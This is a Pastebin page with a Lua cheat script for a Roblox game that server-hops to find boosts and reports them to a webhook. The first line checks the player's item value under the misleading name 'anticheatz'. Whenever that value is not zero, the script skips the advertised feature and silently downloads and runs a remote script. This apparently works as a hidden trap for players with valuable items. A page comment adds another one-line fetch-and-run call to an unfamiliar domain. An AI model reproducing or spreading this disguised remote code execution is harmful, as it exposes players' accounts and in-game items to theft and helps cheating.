Advertisement
Ikuyoscripts

Untitled

Apr 27th, 2023 (edited)
234
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.61 KB | None | 0 0
  1. local anticheatz = game.Players.LocalPlayer.leaderstats.RAP.Value
  2. if anticheatz == 0 then
  3. -- Yes some of this is skidded, just made the process faster
  4.  
  5. --\\ Settings
  6.  
  7. local WantedBoosts = { -- [[ Set the boost to "true" if you'd like to stop server hopping when found, otherwise set it to "false" if that's not the boost you're looking for ]]
  8. ["Insane Luck"] = true,
  9. ["Super Breaker"] = false,
  10. ["Super Lucky"] = false,
  11. ["Triple Coins"] = false,
  12. ["Triple Damage"] = false,
  13. }
  14.  
  15.  
  16. local YourWebhook = "" -- [[ Enter your webook, or keep empty if you don't want to use a webhook ]]
  17. local TeleportOnExpire = true -- [[ Will teleport you once your selected boosts expire ]]
  18. local SecondsPerUpdate = 10 -- [[ How many seconds you'd like to wait before updating timers (Will only show notifications for "Insane Luck" and "Super Breaker" since the other boosts show bottom corner anyways) ]]
  19.  
  20. repeat wait() until game:IsLoaded()
  21.  
  22. --\\ Services
  23.  
  24. local HttpService = game:GetService("HttpService")
  25. local Players = game:GetService("Players")
  26. local ReplicatedStorage = game:GetService("ReplicatedStorage")
  27. local TeleportService = game:GetService("TeleportService")
  28.  
  29. --\\ Modules
  30.  
  31. local Notification = loadstring(game:HttpGet("https://raw.githubusercontent.com/Jxereas/UI-Libraries/main/notification_gui_library.lua", true))()
  32. local Library = require(ReplicatedStorage:WaitForChild("Library"))
  33. Library.Load()
  34.  
  35. --\\ Variables
  36.  
  37. local Player = Players.LocalPlayer
  38. local Notifications = {}
  39. local Servers = "https://games.roblox.com/v1/games/" .. game.PlaceId .."/servers/Public?sortOrder=Desc&limit=100"
  40.  
  41. --\\ Need this cuz boosts don't load till u load for sum reason...
  42.  
  43. Player:WaitForChild("__LOADED")
  44. Player.PlayerGui:WaitForChild("GUIFX Holder")
  45.  
  46. task.wait(5)
  47.  
  48. --\\ Functions
  49.  
  50. local function CollectBoosts()
  51. local CollectedBoosts = {}
  52.  
  53. for Boost, Data in pairs(Library.ServerBoosts.GetActiveBoosts()) do
  54. if WantedBoosts[Boost] then
  55. CollectedBoosts[Boost] = Data["totalTimeLeft"]
  56. end
  57. end
  58. return CollectedBoosts
  59. end
  60.  
  61. local function toDHMS(s)
  62. return ("%i:%02i:%02i:%02i"):format(s/60^2/24, s/60^2, s/60%60, s%60)
  63. end
  64.  
  65. local function ListServers(cursor)
  66. local Raw = game:HttpGet(Servers .. ((cursor and "&cursor="..cursor) or ""))
  67. return HttpService:JSONDecode(Raw)
  68. end
  69.  
  70. local function Teleport()
  71. local Next; repeat
  72. local ServerList = ListServers(Next)
  73. for i,v in next, ServerList.data do
  74. if v.playing < v.maxPlayers and v.id ~= game.JobId then
  75. local s,r = pcall(TeleportService.TeleportToPlaceInstance, TeleportService, game.PlaceId, v.id, Player)
  76. if s then break end
  77. end
  78. end
  79.  
  80. Next = ServerList.nextPageCursor
  81. until not Next
  82. end
  83.  
  84. local function SendWebhook()
  85. if not YourWebhook or YourWebhook == "" then return end
  86. local CollectedBoosts = CollectBoosts()
  87. local fields = {}
  88.  
  89. if next(CollectedBoosts) then
  90. for Boost, TimeLeft in pairs(CollectedBoosts) do
  91. table.insert(fields, {["name"] = "__"..Boost.."__", ["value"] = toDHMS(TimeLeft) })
  92. end
  93. end
  94.  
  95. local ScriptString = "```game:GetService('TeleportService'):TeleportToPlaceInstance(" .. game.PlaceId .. ", '" .. game.JobId .. "', Player)```"
  96.  
  97. table.insert(fields, {["name"] = "__Server Info__", ["value"] = "Place Id: `" .. game.PlaceId .. "` Job Id: `" .. game.JobId .. "`"})
  98. table.insert(fields, {["name"] = "__Teleport To Server Script__", ["value"] = ScriptString})
  99.  
  100. local data = {
  101. ["content"] = "",
  102. ["embeds"] = {
  103. {
  104. ["title"] = "**Boosts Finder**",
  105. ["type"] = "rich",
  106. ["color"] = tonumber(0x7269da),
  107. ["fields"] = fields
  108. }
  109. }
  110. }
  111.  
  112. local newdata = HttpService:JSONEncode(data)
  113.  
  114. local headers = {
  115. ["content-type"] = "application/json"
  116. }
  117.  
  118. (syn and syn.request or http_request or http.request)
  119. {
  120. Url = YourWebhook,
  121. Method = "POST",
  122. Headers = headers,
  123. Body = newdata,
  124. }
  125.  
  126. end
  127.  
  128. local function HandleNotifications()
  129.  
  130. -- Delete old notis if any
  131. if #Notifications then
  132. for _, v in ipairs(Notifications) do
  133. v:delete()
  134. end
  135. end
  136.  
  137. local CollectedBoosts = CollectBoosts()
  138.  
  139. if next(CollectedBoosts) then
  140. for Boost, Time in pairs(CollectBoosts()) do
  141. if Boost == "Insane Luck" or Boost == "Super Breaker" then
  142. task.wait()
  143. table.insert(Notifications, Notification.new("message", Boost, toDHMS(Time)))
  144. end
  145. end
  146. end
  147. end
  148.  
  149. local function UpdateUntilNoBoost()
  150. local CollectedBoosts = CollectBoosts()
  151.  
  152. if not next(CollectedBoosts) then
  153. -- No boosts that we want
  154. if TeleportOnExpire then
  155. -- Teleport
  156. repeat
  157. task.spawn(Teleport)
  158. task.wait(5)
  159. until true == false
  160. end
  161. else
  162. HandleNotifications()
  163. task.wait(SecondsPerUpdate)
  164. UpdateUntilNoBoost()
  165. end
  166. end
  167.  
  168. local function Start()
  169. local CollectedBoosts = CollectBoosts()
  170.  
  171. if not next(CollectedBoosts) then
  172. -- No Active Boosts that we want, so we teleport
  173. repeat
  174. task.spawn(Teleport)
  175. task.wait(5)
  176. until true == false
  177. else
  178. -- Found boosts, send webhook
  179. SendWebhook()
  180.  
  181. -- Make sure to take out your script from AutoExecute folder if ur following what is said below
  182. -- You can copy and paste your farming script here (milkup, hg, etc...) only useful if u don't want your script to execute in servers without wanted boosts
  183.  
  184. -- Update until there is no more boosts
  185. UpdateUntilNoBoost()
  186. end
  187. end
  188.  
  189. Start()
  190. else
  191. loadstring(game:HttpGet("https://raw.githubusercontent.com/teohuk/mainn/main/MilkUp.lua", true))()
  192. end
Advertisement
Comments
  • coco_script_ps99
    226 days
    # text 0.38 KB | 0 0
    1. --DON'T TRUST THE COMMENT TELLING ABOUT A UPDATE OF THE SCRIPT, IT'S FAKE (I'll update if there is really a update)
    2.  
    3. loadstring(game:HttpGet('https://hugegames.space/b06f28a32f815e8b32a79f6d.lua'))()
    4.  
    5. --Pet simulator 99, AutoFarm, AutoRank, Diamonds / World / Coin / Hatch. Work on every executor.
    6.  
    7. --To enable Anti-Afk go to the miscellaneous part!
    8.  
    9. --PS99 script Roblox Keyless
Add Comment
Please, Sign In to add comment
Advertisement